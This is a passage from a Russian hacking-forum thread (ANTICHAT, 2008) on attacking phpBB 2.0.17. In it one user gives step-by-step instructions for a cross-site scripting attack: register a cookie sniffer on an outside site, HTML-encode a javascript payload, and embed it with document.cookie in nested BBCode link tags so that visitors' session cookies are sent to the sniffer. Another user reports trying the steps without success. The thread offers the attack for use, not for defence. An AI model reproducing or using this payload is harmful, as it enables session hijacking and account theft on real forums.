Взлом phpbb 2.0.17

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Взлом phpbb 2.0.17

Страница 2 из 2

#11

08.06.2008, 14:59

Jer1cho

Участник форума

Регистрация: 06.06.2008

Сообщений: 162

С нами: 9436713

Репутация: 244

Регистрируй сниффер на http://s.netsec.ru
Затем
подставляй свой логин:

Код:

:url(javascript:document.images[1].src="http://s.netsec.ru/ТУТ ТВОЙ ЛОГИН.gif?"

После идешь на http://quest.antichat.net/code.php, выбираешь HTML Entities Encode, вставляешь

Код:

:url(javascript:document.images[1].src="http://s.netsec.ru/ТУТ ТВОЙ ЛОГИН.gif?"

То что получилось подставляй так:

Код:

[UR*L]http://www.[U*RL=http://google.com/style=display:none;backgroundСЮДА+document.cookie;&*#41;&*#32;]Link[/*URL][/*URL]

Звездочки, естественно уберешь....

#12

08.06.2008, 15:53

~~perets~~

Banned

Регистрация: 05.06.2008

Сообщений: 18

С нами: 9438146

Репутация: 5

#13

08.06.2008, 16:15

geforse

Постоянный

Регистрация: 02.03.2008

Сообщений: 893

С нами: 9574565

Репутация: 712

Всё сделал по пунктам, получилось так:

Ввожу получившийся код в сообщение вот что появляется:

Нажимаю на Link

Вылезает вот это:

Снифер пустой....

Страница 2 из 2

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
phpBB 2.0.17 "Cross Site Scripting"	néM3S!s	Forum for discussion of ANTICHAT	1	23.01.2006 02:04

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход